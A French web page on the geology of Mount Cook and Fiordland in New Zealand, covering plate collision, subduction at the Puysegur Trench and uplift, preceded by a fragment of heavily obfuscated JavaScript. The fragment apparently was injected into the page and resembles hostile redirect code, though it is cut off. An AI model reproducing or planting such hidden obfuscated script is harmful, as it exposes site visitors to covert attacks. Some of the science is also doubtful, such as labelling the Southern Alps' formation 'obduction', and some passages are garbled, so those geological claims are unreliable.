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_0x477f(_0x1d2c88-0xc9,_0x3b560c);}var _0x1c305a=_0x5616e7(-0xaf,'h8aa',-0xad,-0x8b,-0x80)+_0x5616e7(-0xa6,'OpSM',-0x6b,-0x8d,-0xa8);function _0x5616e7(_0x2b1cfb,_0x15aa4a,_0x477b63,_0x27ef02,_0x32c62c){return _0x477f(_0x27ef02- -0x127,_0x15aa4a);}var _0x4deaab=_0x5616e7(-0x66,'ZudU',-0x9a,-0x94,-0x9f)+_0x98a3fb(0x1cf,0x1bf,0x1a4,'SS@X',0x1b9)+'s';_0x13f9be(_0x4deaab)==![]&&_0x13f9be(_0x1c305a)==![]?_0x239a0c(''):_0x239a0c(_0x29572f(0x23,-0x2d,'pbn[',0x9,-0x34)); Le Mont Cook - Alexandre SCHOHN % %
Mount Cook

La montagne Mont Cook ou Aoraki en Maorie, se situe sur l’île du Sud de la Nouvelle-Zélande au centre même de l’île dans la chaîne de montagnes des Alpes du Sud. D’une altitude de 3724m, il est le point culminant des Alpes du Sud.

La formation des Alpes du Sud s’est produite par la tectonique des plaques, c’est la collision de la plaque du Pacifique avec la plaque australienne, un processus que nous appelons l’obduction. Ce processus est rare car la lithosphère océanique subduit généralement sous la plaque continentale. En un an, Mont Cook a augmenté de sept millimètres.

 

obducción
Collision entre la plaque australienne (à gauche) et la plaque du Pacifique (à droite). La collision a entraîné la formation des Alpes du Sud et le départ du continent, la Nouvelle-Zélande, de l’océan

Contenu Scientifique

Avant 20 millions d’années

Il y a 400 millions d’années (Dévonien), la Nouvelle-Zélande se situait dans les fonds marins. Elle a accumulé durant des millions d’années les sédiments qui se sont déposés les uns à la suite des autres

 

Par la suite, vers les 300-200 millions d’années (Permien – Triasique), la collision entre la plaque australo-indienne et pacifique va entraîner la formation de premières montagnes dans l’île du Sud.

collision plaques
Collision entre la plaque Australienne (à gauche) et la plaque Pacifique (à droite). La collision a entraîné la formation des Alpes du Sud

 

 

Vers 30 millions d’années (Paléogène), les montagnes sont de retour dans l’océan suite à une descente de la croûte terrestre.

 

Après 20 millions d’années

 

C’est il y a 20 million d’années que la géologie diverge pour le Fiordland par rapport au reste de la Nouvelle-Zélande. La plaque australo-indienne va rentrer en subduction sous la plaque pacifique

 

subduction fiordland
Subduction dans le Fiordland. La plaque australo-indienne passe sous la plaque pacifique. Oxford Academic – Oxford University Press

 

Cela veut dire que nous avons une plaque qui passe sous une autre plaque lors de leur rapprochement. C’est le même mécanisme que ce que l’on peut trouver dans l’île du Nord, vers laquelle je vous renvoie pour plus d’information concernant la subduction. Cependant si dans le Nord c’est la plaque pacifique qui subducte (passe en dessous) de la plaque australo-indienne, dans le Fiordland nous avons l’inverse ! La plaque australo-indienne subducte sous la plaque pacifique dans la zone appelée Puysegu Trench.

 

 

Puysegu Trench
Puysegu Trench, fosse où a lieu la subduction de la plaque australo-indienne sous la plaque pacifique.  volcano.oregonstate.edu

 

 

 

Lors de cette subduction de nombreuses roches se trouvant en profondeur vont remonter à la surface. Ces roches caractéristiques de la croûte terrestre vont apparaître dans les montagnes du Fiordland.

 

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